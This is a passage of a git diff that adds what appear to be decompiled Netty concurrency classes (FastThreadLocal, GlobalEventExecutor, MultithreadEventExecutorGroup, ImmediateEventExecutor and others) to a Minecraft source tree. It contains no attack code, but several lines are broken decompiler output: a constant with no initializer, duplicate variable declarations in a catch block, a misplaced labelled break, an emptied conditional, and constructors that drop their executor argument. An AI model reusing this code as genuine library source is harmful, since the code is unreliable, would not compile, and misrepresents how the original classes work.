+  
+  public abstract <V> ProgressivePromise<V> newProgressivePromise();
+  
+  public abstract <V> Future<V> newSucceededFuture(V paramV);
+  
+  public abstract <V> Future<V> newFailedFuture(Throwable paramThrowable);
+}
diff --git a/src/minecraft/io/netty/util/concurrent/EventExecutorChooserFactory.java b/src/minecraft/io/netty/util/concurrent/EventExecutorChooserFactory.java
new file mode 100644
index 0000000..3aa1b47
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/EventExecutorChooserFactory.java
@@ -0,0 +1,11 @@
+package io.netty.util.concurrent;
+
+public abstract interface EventExecutorChooserFactory
+{
+  public abstract EventExecutorChooser newChooser(EventExecutor[] paramArrayOfEventExecutor);
+  
+  public static abstract interface EventExecutorChooser
+  {
+    public abstract EventExecutor next();
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/EventExecutorGroup.java b/src/minecraft/io/netty/util/concurrent/EventExecutorGroup.java
new file mode 100644
index 0000000..81c1b39
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/EventExecutorGroup.java
@@ -0,0 +1,43 @@
+package io.netty.util.concurrent;
+
+import java.util.Iterator;
+import java.util.List;
+import java.util.concurrent.Callable;
+import java.util.concurrent.ScheduledExecutorService;
+import java.util.concurrent.TimeUnit;
+
+public abstract interface EventExecutorGroup
+  extends ScheduledExecutorService, Iterable<EventExecutor>
+{
+  public abstract boolean isShuttingDown();
+  
+  public abstract Future<?> shutdownGracefully();
+  
+  public abstract Future<?> shutdownGracefully(long paramLong1, long paramLong2, TimeUnit paramTimeUnit);
+  
+  public abstract Future<?> terminationFuture();
+  
+  @Deprecated
+  public abstract void shutdown();
+  
+  @Deprecated
+  public abstract List<Runnable> shutdownNow();
+  
+  public abstract EventExecutor next();
+  
+  public abstract Iterator<EventExecutor> iterator();
+  
+  public abstract Future<?> submit(Runnable paramRunnable);
+  
+  public abstract <T> Future<T> submit(Runnable paramRunnable, T paramT);
+  
+  public abstract <T> Future<T> submit(Callable<T> paramCallable);
+  
+  public abstract ScheduledFuture<?> schedule(Runnable paramRunnable, long paramLong, TimeUnit paramTimeUnit);
+  
+  public abstract <V> ScheduledFuture<V> schedule(Callable<V> paramCallable, long paramLong, TimeUnit paramTimeUnit);
+  
+  public abstract ScheduledFuture<?> scheduleAtFixedRate(Runnable paramRunnable, long paramLong1, long paramLong2, TimeUnit paramTimeUnit);
+  
+  public abstract ScheduledFuture<?> scheduleWithFixedDelay(Runnable paramRunnable, long paramLong1, long paramLong2, TimeUnit paramTimeUnit);
+}
diff --git a/src/minecraft/io/netty/util/concurrent/FailedFuture.java b/src/minecraft/io/netty/util/concurrent/FailedFuture.java
new file mode 100644
index 0000000..4b27b65
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/FailedFuture.java
@@ -0,0 +1,69 @@
+package io.netty.util.concurrent;
+
+import io.netty.util.internal.PlatformDependent;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class FailedFuture<V>
+  extends CompleteFuture<V>
+{
+  private final Throwable cause;
+  
+  public FailedFuture(EventExecutor executor, Throwable cause)
+  {
+    super(executor);
+    if (cause == null) {
+      throw new NullPointerException("cause");
+    }
+    this.cause = cause;
+  }
+  
+  public Throwable cause()
+  {
+    return cause;
+  }
+  
+  public boolean isSuccess()
+  {
+    return false;
+  }
+  
+  public Future<V> sync()
+  {
+    PlatformDependent.throwException(cause);
+    return this;
+  }
+  
+  public Future<V> syncUninterruptibly()
+  {
+    PlatformDependent.throwException(cause);
+    return this;
+  }
+  
+  public V getNow()
+  {
+    return null;
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/FastThreadLocal.java b/src/minecraft/io/netty/util/concurrent/FastThreadLocal.java
new file mode 100644
index 0000000..1fcac3b
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/FastThreadLocal.java
@@ -0,0 +1,243 @@
+package io.netty.util.concurrent;
+
+import io.netty.util.internal.InternalThreadLocalMap;
+import io.netty.util.internal.PlatformDependent;
+import java.util.Collections;
+import java.util.IdentityHashMap;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FastThreadLocal<V>
+{
+  private static final int variablesToRemoveIndex = ;
+  
+
+  private final int index;
+  
+
+  public static void removeAll()
+  {
+    InternalThreadLocalMap threadLocalMap = InternalThreadLocalMap.getIfSet();
+    if (threadLocalMap == null) {
+      return;
+    }
+    try
+    {
+      Object v = threadLocalMap.indexedVariable(variablesToRemoveIndex);
+      if ((v != null) && (v != InternalThreadLocalMap.UNSET))
+      {
+        Set<FastThreadLocal<?>> variablesToRemove = (Set)v;
+        FastThreadLocal<?>[] variablesToRemoveArray = (FastThreadLocal[])variablesToRemove.toArray(new FastThreadLocal[variablesToRemove.size()]);
+        
+        for (FastThreadLocal<?> tlv : variablesToRemoveArray) {
+          tlv.remove(threadLocalMap);
+        }
+      }
+    } finally {
+      InternalThreadLocalMap.remove();
+    }
+  }
+  
+
+
+  public static int size()
+  {
+    InternalThreadLocalMap threadLocalMap = InternalThreadLocalMap.getIfSet();
+    if (threadLocalMap == null) {
+      return 0;
+    }
+    return threadLocalMap.size();
+  }
+  
+
+
+
+
+
+  public static void destroy() {}
+  
+
+
+
+
+  private static void addToVariablesToRemove(InternalThreadLocalMap threadLocalMap, FastThreadLocal<?> variable)
+  {
+    Object v = threadLocalMap.indexedVariable(variablesToRemoveIndex);
+    Set<FastThreadLocal<?>> variablesToRemove;
+    if ((v == InternalThreadLocalMap.UNSET) || (v == null)) {
+      Set<FastThreadLocal<?>> variablesToRemove = Collections.newSetFromMap(new IdentityHashMap());
+      threadLocalMap.setIndexedVariable(variablesToRemoveIndex, variablesToRemove);
+    } else {
+      variablesToRemove = (Set)v;
+    }
+    
+    variablesToRemove.add(variable);
+  }
+  
+
+  private static void removeFromVariablesToRemove(InternalThreadLocalMap threadLocalMap, FastThreadLocal<?> variable)
+  {
+    Object v = threadLocalMap.indexedVariable(variablesToRemoveIndex);
+    
+    if ((v == InternalThreadLocalMap.UNSET) || (v == null)) {
+      return;
+    }
+    
+
+    Set<FastThreadLocal<?>> variablesToRemove = (Set)v;
+    variablesToRemove.remove(variable);
+  }
+  
+
+  public FastThreadLocal()
+  {
+    index = InternalThreadLocalMap.nextVariableIndex();
+  }
+  
+
+
+  public final V get()
+  {
+    return get(InternalThreadLocalMap.get());
+  }
+  
+
+
+
+
+  public final V get(InternalThreadLocalMap threadLocalMap)
+  {
+    Object v = threadLocalMap.indexedVariable(index);
+    if (v != InternalThreadLocalMap.UNSET) {
+      return v;
+    }
+    
+    return initialize(threadLocalMap);
+  }
+  
+  private V initialize(InternalThreadLocalMap threadLocalMap) {
+    V v = null;
+    try {
+      v = initialValue();
+    } catch (Exception e) {
+      PlatformDependent.throwException(e);
+    }
+    
+    threadLocalMap.setIndexedVariable(index, v);
+    addToVariablesToRemove(threadLocalMap, this);
+    return v;
+  }
+  
+
+
+  public final void set(V value)
+  {
+    if (value != InternalThreadLocalMap.UNSET) {
+      set(InternalThreadLocalMap.get(), value);
+    } else {
+      remove();
+    }
+  }
+  
+
+
+  public final void set(InternalThreadLocalMap threadLocalMap, V value)
+  {
+    if (value != InternalThreadLocalMap.UNSET) {
+      if (threadLocalMap.setIndexedVariable(index, value)) {
+        addToVariablesToRemove(threadLocalMap, this);
+      }
+    } else {
+      remove(threadLocalMap);
+    }
+  }
+  
+
+
+  public final boolean isSet()
+  {
+    return isSet(InternalThreadLocalMap.getIfSet());
+  }
+  
+
+
+
+  public final boolean isSet(InternalThreadLocalMap threadLocalMap)
+  {
+    return (threadLocalMap != null) && (threadLocalMap.isIndexedVariableSet(index));
+  }
+  
+
+  public final void remove()
+  {
+    remove(InternalThreadLocalMap.getIfSet());
+  }
+  
+
+
+
+
+
+  public final void remove(InternalThreadLocalMap threadLocalMap)
+  {
+    if (threadLocalMap == null) {
+      return;
+    }
+    
+    Object v = threadLocalMap.removeIndexedVariable(index);
+    removeFromVariablesToRemove(threadLocalMap, this);
+    
+    if (v != InternalThreadLocalMap.UNSET) {
+      try {
+        onRemoval(v);
+      } catch (Exception e) {
+        PlatformDependent.throwException(e);
+      }
+    }
+  }
+  
+
+  protected V initialValue()
+    throws Exception
+  {
+    return null;
+  }
+  
+  protected void onRemoval(V value)
+    throws Exception
+  {}
+}
diff --git a/src/minecraft/io/netty/util/concurrent/FastThreadLocalThread.java b/src/minecraft/io/netty/util/concurrent/FastThreadLocalThread.java
new file mode 100644
index 0000000..b341f96
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/FastThreadLocalThread.java
@@ -0,0 +1,72 @@
+package io.netty.util.concurrent;
+
+import io.netty.util.internal.InternalThreadLocalMap;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FastThreadLocalThread
+  extends Thread
+{
+  private InternalThreadLocalMap threadLocalMap;
+  
+  public FastThreadLocalThread() {}
+  
+  public FastThreadLocalThread(Runnable target)
+  {
+    super(target);
+  }
+  
+  public FastThreadLocalThread(ThreadGroup group, Runnable target) {
+    super(group, target);
+  }
+  
+  public FastThreadLocalThread(String name) {
+    super(name);
+  }
+  
+  public FastThreadLocalThread(ThreadGroup group, String name) {
+    super(group, name);
+  }
+  
+  public FastThreadLocalThread(Runnable target, String name) {
+    super(target, name);
+  }
+  
+  public FastThreadLocalThread(ThreadGroup group, Runnable target, String name) {
+    super(group, target, name);
+  }
+  
+  public FastThreadLocalThread(ThreadGroup group, Runnable target, String name, long stackSize) {
+    super(group, target, name, stackSize);
+  }
+  
+
+
+
+  public final InternalThreadLocalMap threadLocalMap()
+  {
+    return threadLocalMap;
+  }
+  
+
+
+
+  public final void setThreadLocalMap(InternalThreadLocalMap threadLocalMap)
+  {
+    this.threadLocalMap = threadLocalMap;
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/Future.java b/src/minecraft/io/netty/util/concurrent/Future.java
new file mode 100644
index 0000000..c085d7c
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/Future.java
@@ -0,0 +1,45 @@
+package io.netty.util.concurrent;
+
+import java.util.concurrent.TimeUnit;
+
+public abstract interface Future<V>
+  extends java.util.concurrent.Future<V>
+{
+  public abstract boolean isSuccess();
+  
+  public abstract boolean isCancellable();
+  
+  public abstract Throwable cause();
+  
+  public abstract Future<V> addListener(GenericFutureListener<? extends Future<? super V>> paramGenericFutureListener);
+  
+  public abstract Future<V> addListeners(GenericFutureListener<? extends Future<? super V>>... paramVarArgs);
+  
+  public abstract Future<V> removeListener(GenericFutureListener<? extends Future<? super V>> paramGenericFutureListener);
+  
+  public abstract Future<V> removeListeners(GenericFutureListener<? extends Future<? super V>>... paramVarArgs);
+  
+  public abstract Future<V> sync()
+    throws InterruptedException;
+  
+  public abstract Future<V> syncUninterruptibly();
+  
+  public abstract Future<V> await()
+    throws InterruptedException;
+  
+  public abstract Future<V> awaitUninterruptibly();
+  
+  public abstract boolean await(long paramLong, TimeUnit paramTimeUnit)
+    throws InterruptedException;
+  
+  public abstract boolean await(long paramLong)
+    throws InterruptedException;
+  
+  public abstract boolean awaitUninterruptibly(long paramLong, TimeUnit paramTimeUnit);
+  
+  public abstract boolean awaitUninterruptibly(long paramLong);
+  
+  public abstract V getNow();
+  
+  public abstract boolean cancel(boolean paramBoolean);
+}
diff --git a/src/minecraft/io/netty/util/concurrent/FutureListener.java b/src/minecraft/io/netty/util/concurrent/FutureListener.java
new file mode 100644
index 0000000..c6136f8
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/FutureListener.java
@@ -0,0 +1,5 @@
+package io.netty.util.concurrent;
+
+public abstract interface FutureListener<V>
+  extends GenericFutureListener<Future<V>>
+{}
diff --git a/src/minecraft/io/netty/util/concurrent/GenericFutureListener.java b/src/minecraft/io/netty/util/concurrent/GenericFutureListener.java
new file mode 100644
index 0000000..b9aa3c3
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/GenericFutureListener.java
@@ -0,0 +1,10 @@
+package io.netty.util.concurrent;
+
+import java.util.EventListener;
+
+public abstract interface GenericFutureListener<F extends Future<?>>
+  extends EventListener
+{
+  public abstract void operationComplete(F paramF)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/util/concurrent/GenericProgressiveFutureListener.java b/src/minecraft/io/netty/util/concurrent/GenericProgressiveFutureListener.java
new file mode 100644
index 0000000..6cacef3
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/GenericProgressiveFutureListener.java
@@ -0,0 +1,8 @@
+package io.netty.util.concurrent;
+
+public abstract interface GenericProgressiveFutureListener<F extends ProgressiveFuture<?>>
+  extends GenericFutureListener<F>
+{
+  public abstract void operationProgressed(F paramF, long paramLong1, long paramLong2)
+    throws Exception;
+}
diff --git a/src/minecraft/io/netty/util/concurrent/GlobalEventExecutor.java b/src/minecraft/io/netty/util/concurrent/GlobalEventExecutor.java
new file mode 100644
index 0000000..ab18678
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/GlobalEventExecutor.java
@@ -0,0 +1,392 @@
+package io.netty.util.concurrent;
+
+import io.netty.util.internal.logging.InternalLogger;
+import io.netty.util.internal.logging.InternalLoggerFactory;
+import java.util.Iterator;
+import java.util.PriorityQueue;
+import java.util.Queue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.Callable;
+import java.util.concurrent.Executors;
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class GlobalEventExecutor
+  extends AbstractEventExecutor
+{
+  private static final InternalLogger logger = InternalLoggerFactory.getInstance(GlobalEventExecutor.class);
+  
+  private static final long SCHEDULE_PURGE_INTERVAL = TimeUnit.SECONDS.toNanos(1L);
+  
+  public static final GlobalEventExecutor INSTANCE = new GlobalEventExecutor();
+  
+  final BlockingQueue<Runnable> taskQueue = new LinkedBlockingQueue();
+  final Queue<ScheduledFutureTask<?>> delayedTaskQueue = new PriorityQueue();
+  final ScheduledFutureTask<Void> purgeTask = new ScheduledFutureTask(this, delayedTaskQueue, Executors.callable(new PurgeTask(null), null), ScheduledFutureTask.deadlineNanos(SCHEDULE_PURGE_INTERVAL), -SCHEDULE_PURGE_INTERVAL);
+  
+
+
+  private final ThreadFactory threadFactory = new DefaultThreadFactory(getClass());
+  private final TaskRunner taskRunner = new TaskRunner();
+  private final AtomicBoolean started = new AtomicBoolean();
+  
+  volatile Thread thread;
+  private final Future<?> terminationFuture = new FailedFuture(this, new UnsupportedOperationException());
+  
+  private GlobalEventExecutor() {
+    delayedTaskQueue.add(purgeTask);
+  }
+  
+  public EventExecutorGroup parent()
+  {
+    return null;
+  }
+  
+
+
+
+
+  Runnable takeTask()
+  {
+    BlockingQueue<Runnable> taskQueue = this.taskQueue;
+    for (;;) {
+      ScheduledFutureTask<?> delayedTask = (ScheduledFutureTask)delayedTaskQueue.peek();
+      if (delayedTask == null) {
+        Runnable task = null;
+        try {
+          task = (Runnable)taskQueue.take();
+        }
+        catch (InterruptedException e) {}
+        
+        return task;
+      }
+      long delayNanos = delayedTask.delayNanos();
+      Runnable task;
+      if (delayNanos > 0L) {
+        try {
+          task = (Runnable)taskQueue.poll(delayNanos, TimeUnit.NANOSECONDS);
+        } catch (InterruptedException e) {
+          return null;
+        }
+      } else {
+        task = (Runnable)taskQueue.poll();
+      }
+      
+      if (task == null) {
+        fetchFromDelayedQueue();
+        task = (Runnable)taskQueue.poll();
+      }
+      
+      if (task != null) {
+        return task;
+      }
+    }
+  }
+  
+  private void fetchFromDelayedQueue()
+  {
+    long nanoTime = 0L;
+    for (;;) {
+      ScheduledFutureTask<?> delayedTask = (ScheduledFutureTask)delayedTaskQueue.peek();
+      if (delayedTask == null) {
+        break;
+      }
+      
+      if (nanoTime == 0L) {
+        nanoTime = ScheduledFutureTask.nanoTime();
+      }
+      
+      if (delayedTask.deadlineNanos() > nanoTime) break;
+      delayedTaskQueue.remove();
+      taskQueue.add(delayedTask);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public int pendingTasks()
+  {
+    return taskQueue.size();
+  }
+  
+
+
+
+  private void addTask(Runnable task)
+  {
+    if (task == null) {
+      throw new NullPointerException("task");
+    }
+    taskQueue.add(task);
+  }
+  
+  public boolean inEventLoop(Thread thread)
+  {
+    return thread == this.thread;
+  }
+  
+  public Future<?> shutdownGracefully(long quietPeriod, long timeout, TimeUnit unit)
+  {
+    return terminationFuture();
+  }
+  
+  public Future<?> terminationFuture()
+  {
+    return terminationFuture;
+  }
+  
+  @Deprecated
+  public void shutdown()
+  {
+    throw new UnsupportedOperationException();
+  }
+  
+  public boolean isShuttingDown()
+  {
+    return false;
+  }
+  
+  public boolean isShutdown()
+  {
+    return false;
+  }
+  
+  public boolean isTerminated()
+  {
+    return false;
+  }
+  
+  public boolean awaitTermination(long timeout, TimeUnit unit)
+  {
+    return false;
+  }
+  
+
+
+
+
+
+
+  public boolean awaitInactivity(long timeout, TimeUnit unit)
+    throws InterruptedException
+  {
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    
+    Thread thread = this.thread;
+    if (thread == null) {
+      throw new IllegalStateException("thread was not started");
+    }
+    thread.join(unit.toMillis(timeout));
+    return !thread.isAlive();
+  }
+  
+  public void execute(Runnable task)
+  {
+    if (task == null) {
+      throw new NullPointerException("task");
+    }
+    
+    addTask(task);
+    if (!inEventLoop()) {
+      startThread();
+    }
+  }
+  
+
+
+  public ScheduledFuture<?> schedule(Runnable command, long delay, TimeUnit unit)
+  {
+    if (command == null) {
+      throw new NullPointerException("command");
+    }
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    if (delay < 0L) {
+      throw new IllegalArgumentException(String.format("delay: %d (expected: >= 0)", new Object[] { Long.valueOf(delay) }));
+    }
+    
+    return schedule(new ScheduledFutureTask(this, delayedTaskQueue, command, null, ScheduledFutureTask.deadlineNanos(unit.toNanos(delay))));
+  }
+  
+
+  public <V> ScheduledFuture<V> schedule(Callable<V> callable, long delay, TimeUnit unit)
+  {
+    if (callable == null) {
+      throw new NullPointerException("callable");
+    }
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    if (delay < 0L) {
+      throw new IllegalArgumentException(String.format("delay: %d (expected: >= 0)", new Object[] { Long.valueOf(delay) }));
+    }
+    
+    return schedule(new ScheduledFutureTask(this, delayedTaskQueue, callable, ScheduledFutureTask.deadlineNanos(unit.toNanos(delay))));
+  }
+  
+
+  public ScheduledFuture<?> scheduleAtFixedRate(Runnable command, long initialDelay, long period, TimeUnit unit)
+  {
+    if (command == null) {
+      throw new NullPointerException("command");
+    }
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    if (initialDelay < 0L) {
+      throw new IllegalArgumentException(String.format("initialDelay: %d (expected: >= 0)", new Object[] { Long.valueOf(initialDelay) }));
+    }
+    
+    if (period <= 0L) {
+      throw new IllegalArgumentException(String.format("period: %d (expected: > 0)", new Object[] { Long.valueOf(period) }));
+    }
+    
+
+    return schedule(new ScheduledFutureTask(this, delayedTaskQueue, Executors.callable(command, null), ScheduledFutureTask.deadlineNanos(unit.toNanos(initialDelay)), unit.toNanos(period)));
+  }
+  
+
+
+  public ScheduledFuture<?> scheduleWithFixedDelay(Runnable command, long initialDelay, long delay, TimeUnit unit)
+  {
+    if (command == null) {
+      throw new NullPointerException("command");
+    }
+    if (unit == null) {
+      throw new NullPointerException("unit");
+    }
+    if (initialDelay < 0L) {
+      throw new IllegalArgumentException(String.format("initialDelay: %d (expected: >= 0)", new Object[] { Long.valueOf(initialDelay) }));
+    }
+    
+    if (delay <= 0L) {
+      throw new IllegalArgumentException(String.format("delay: %d (expected: > 0)", new Object[] { Long.valueOf(delay) }));
+    }
+    
+
+    return schedule(new ScheduledFutureTask(this, delayedTaskQueue, Executors.callable(command, null), ScheduledFutureTask.deadlineNanos(unit.toNanos(initialDelay)), -unit.toNanos(delay)));
+  }
+  
+
+  private <V> ScheduledFuture<V> schedule(final ScheduledFutureTask<V> task)
+  {
+    if (task == null) {
+      throw new NullPointerException("task");
+    }
+    
+    if (inEventLoop()) {
+      delayedTaskQueue.add(task);
+    } else {
+      execute(new Runnable()
+      {
+        public void run() {
+          delayedTaskQueue.add(task);
+        }
+      });
+    }
+    
+    return task;
+  }
+  
+  private void startThread() {
+    if (started.compareAndSet(false, true)) {
+      Thread t = threadFactory.newThread(taskRunner);
+      t.start();
+      thread = t;
+    }
+  }
+  
+  final class TaskRunner implements Runnable {
+    TaskRunner() {}
+    
+    public void run() {
+      for (;;) { Runnable task = takeTask();
+        if (task != null) {
+          try {
+            task.run();
+          } catch (Throwable t) {
+            GlobalEventExecutor.logger.warn("Unexpected exception from the global event executor: ", t);
+          }
+          
+          if (task != purgeTask) {}
+
+
+
+
+        }
+        else if ((taskQueue.isEmpty()) && (delayedTaskQueue.size() == 1))
+        {
+
+
+          boolean stopped = started.compareAndSet(true, false);
+          assert (stopped);
+          
+
+          if ((taskQueue.isEmpty()) && (delayedTaskQueue.size() == 1)) {
+            break;
+          }
+          
+
+
+
+
+
+          if (!started.compareAndSet(false, true)) {
+            break;
+          }
+        }
+      }
+    }
+  }
+  
+
+  private final class PurgeTask
+    implements Runnable
+  {
+    private PurgeTask() {}
+    
+
+    public void run()
+    {
+      Iterator<ScheduledFutureTask<?>> i = delayedTaskQueue.iterator();
+      while (i.hasNext()) {
+        ScheduledFutureTask<?> task = (ScheduledFutureTask)i.next();
+        if (task.isCancelled()) {
+          i.remove();
+        }
+      }
+    }
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/ImmediateEventExecutor.java b/src/minecraft/io/netty/util/concurrent/ImmediateEventExecutor.java
new file mode 100644
index 0000000..7c0af26
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/ImmediateEventExecutor.java
@@ -0,0 +1,118 @@
+package io.netty.util.concurrent;
+
+import java.util.concurrent.TimeUnit;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ImmediateEventExecutor
+  extends AbstractEventExecutor
+{
+  public static final ImmediateEventExecutor INSTANCE = new ImmediateEventExecutor();
+  
+  private final Future<?> terminationFuture = new FailedFuture(GlobalEventExecutor.INSTANCE, new UnsupportedOperationException());
+  
+
+
+  private ImmediateEventExecutor() {}
+  
+
+  public EventExecutorGroup parent()
+  {
+    return null;
+  }
+  
+  public boolean inEventLoop()
+  {
+    return true;
+  }
+  
+  public boolean inEventLoop(Thread thread)
+  {
+    return true;
+  }
+  
+  public Future<?> shutdownGracefully(long quietPeriod, long timeout, TimeUnit unit)
+  {
+    return terminationFuture();
+  }
+  
+  public Future<?> terminationFuture()
+  {
+    return terminationFuture;
+  }
+  
+
+  @Deprecated
+  public void shutdown() {}
+  
+  public boolean isShuttingDown()
+  {
+    return false;
+  }
+  
+  public boolean isShutdown()
+  {
+    return false;
+  }
+  
+  public boolean isTerminated()
+  {
+    return false;
+  }
+  
+  public boolean awaitTermination(long timeout, TimeUnit unit)
+  {
+    return false;
+  }
+  
+  public void execute(Runnable command)
+  {
+    if (command == null) {
+      throw new NullPointerException("command");
+    }
+    command.run();
+  }
+  
+  public <V> Promise<V> newPromise()
+  {
+    return new ImmediatePromise(this);
+  }
+  
+  public <V> ProgressivePromise<V> newProgressivePromise()
+  {
+    return new ImmediateProgressivePromise(this);
+  }
+  
+  static class ImmediatePromise<V> extends DefaultPromise<V> {
+    ImmediatePromise(EventExecutor executor) {
+      super();
+    }
+    
+    protected void checkDeadLock() {}
+  }
+  
+  static class ImmediateProgressivePromise<V>
+    extends DefaultProgressivePromise<V>
+  {
+    ImmediateProgressivePromise(EventExecutor executor)
+    {
+      super();
+    }
+    
+    protected void checkDeadLock() {}
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/ImmediateExecutor.java b/src/minecraft/io/netty/util/concurrent/ImmediateExecutor.java
new file mode 100644
index 0000000..e72600e
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/ImmediateExecutor.java
@@ -0,0 +1,37 @@
+package io.netty.util.concurrent;
+
+import java.util.concurrent.Executor;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public final class ImmediateExecutor
+  implements Executor
+{
+  public static final ImmediateExecutor INSTANCE = new ImmediateExecutor();
+  
+
+  private ImmediateExecutor() {}
+  
+
+  public void execute(Runnable command)
+  {
+    if (command == null) {
+      throw new NullPointerException("command");
+    }
+    command.run();
+  }
+}
diff --git a/src/minecraft/io/netty/util/concurrent/MultithreadEventExecutorGroup.java b/src/minecraft/io/netty/util/concurrent/MultithreadEventExecutorGroup.java
new file mode 100644
index 0000000..4990107
--- /dev/null
+++ b/src/minecraft/io/netty/util/concurrent/MultithreadEventExecutorGroup.java
@@ -0,0 +1,233 @@
+package io.netty.util.concurrent;
+
+import java.util.Collections;
+import java.util.Iterator;
+import java.util.LinkedHashMap;
+import java.util.Set;
+import java.util.concurrent.ThreadFactory;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicInteger;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class MultithreadEventExecutorGroup
+  extends AbstractEventExecutorGroup
+{
+  private final EventExecutor[] children;
+  private final AtomicInteger childIndex = new AtomicInteger();
+  private final AtomicInteger terminatedChildren = new AtomicInteger();
+  private final Promise<?> terminationFuture = new DefaultPromise(GlobalEventExecutor.INSTANCE);
+  
+
+
+  private final EventExecutorChooser chooser;
+  
+
+
+
+  protected MultithreadEventExecutorGroup(int nThreads, ThreadFactory threadFactory, Object... args)
+  {
+    if (nThreads <= 0) {
+      throw new IllegalArgumentException(String.format("nThreads: %d (expected: > 0)", new Object[] { Integer.valueOf(nThreads) }));
+    }
+    
+    if (threadFactory == null) {
+      threadFactory = newDefaultThreadFactory();
+    }
+    
+    children = new SingleThreadEventExecutor[nThreads];
+    if (isPowerOfTwo(children.length)) {
+      chooser = new PowerOfTwoEventExecutorChooser(null);
+    } else {
+      chooser = new GenericEventExecutorChooser(null);
+    }
+    
+    for (int i = 0; i < nThreads; i++) {
+      boolean success = false;
+      try {
+        children[i] = newChild(threadFactory, args);
+        success = true; } catch (Exception e) { int j;
+        int j;
+        EventExecutor e;
+        throw new IllegalStateException("failed to create a child event loop", e);
+      } finally {
+        if (!success) {
+          for (int j = 0; j < i; j++) {
+            children[j].shutdownGracefully();
+          }
+          
+          for (int j = 0; j < i; j++) {
+            EventExecutor e = children[j];
+            try {
+              while (!e.isTerminated()) {
+                e.awaitTermination(2147483647L, TimeUnit.SECONDS);
+              }
+            } catch (InterruptedException interrupted) {
+              Thread.currentThread().interrupt();
+              break;
+            }
+          }
+        }
+      }
+    }
+    
+    FutureListener<Object> terminationListener = new FutureListener()
+    {
+      public void operationComplete(Future<Object> future) throws Exception {
+        if (terminatedChildren.incrementAndGet() == children.length) {
+          terminationFuture.setSuccess(null);
+        }
+      }
+    };
+    
+    for (EventExecutor e : children) {
+      e.terminationFuture().addListener(terminationListener);
+    }
+  }
+  
+  protected ThreadFactory newDefaultThreadFactory() {
+    return new DefaultThreadFactory(getClass());
+  }
+  
+  public EventExecutor next()
+  {
+    return chooser.next();
+  }
+  
+  public Iterator<EventExecutor> iterator()
+  {
+    return children().iterator();
+  }
+  
+
+
+
+  public final int executorCount()
+  {
+    return children.length;
+  }
+  
+
+
+  protected Set<EventExecutor> children()
+  {
+    Set<EventExecutor> children = Collections.newSetFromMap(new LinkedHashMap());
+    Collections.addAll(children, this.children);
+    return children;
+  }
+  
+
+
+
+  protected abstract EventExecutor newChild(ThreadFactory paramThreadFactory, Object... paramVarArgs)
+    throws Exception;
+  
+
+
+  public Future<?> shutdownGracefully(long quietPeriod, long timeout, TimeUnit unit)
+  {
+    for (EventExecutor l : children) {
+      l.shutdownGracefully(quietPeriod, timeout, unit);
+    }
+    return terminationFuture();
+  }
+  
+  public Future<?> terminationFuture()
+  {
+    return terminationFuture;
+  }
+  
+  @Deprecated
+  public void shutdown()
+  {
+    for (EventExecutor l : children) {
+      l.shutdown();
+    }
+  }
+  
+  public boolean isShuttingDown()
+  {
+    for (EventExecutor l : children) {
+      if (!l.isShuttingDown()) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  public boolean isShutdown()
+  {
+    for (EventExecutor l : children) {
+      if (!l.isShutdown()) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  public boolean isTerminated()
+  {
+    for (EventExecutor l : children) {
+      if (!l.isTerminated()) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+  public boolean awaitTermination(long timeout, TimeUnit unit)
+    throws InterruptedException
+  {
+    long deadline = System.nanoTime() + unit.toNanos(timeout);
+    for (EventExecutor l : children) {
+      for (;;) {
+        long timeLeft = deadline - System.nanoTime();
+        if (timeLeft <= 0L) {
+          break label84;
+        }
+        if (l.awaitTermination(timeLeft, TimeUnit.NANOSECONDS))
+          break;
+      }
+    }
+    label84:
+    return isTerminated();
+  }
+  
+  private static boolean isPowerOfTwo(int val) {
+    return (val & -val) == val;
+  }
+  
+  private static abstract interface EventExecutorChooser {
+    public abstract EventExecutor next();
+  }
+  
+  private final class PowerOfTwoEventExecutorChooser implements MultithreadEventExecutorGroup.EventExecutorChooser {
+    private PowerOfTwoEventExecutorChooser() {}
+    
+    public EventExecutor next() { return children[(childIndex.getAndIncrement() & children.length - 1)]; }
+  }
+  
+  private final class GenericEventExecutorChooser implements MultithreadEventExecutorGroup.EventExecutorChooser {
+    private GenericEventExecutorChooser() {}
+    
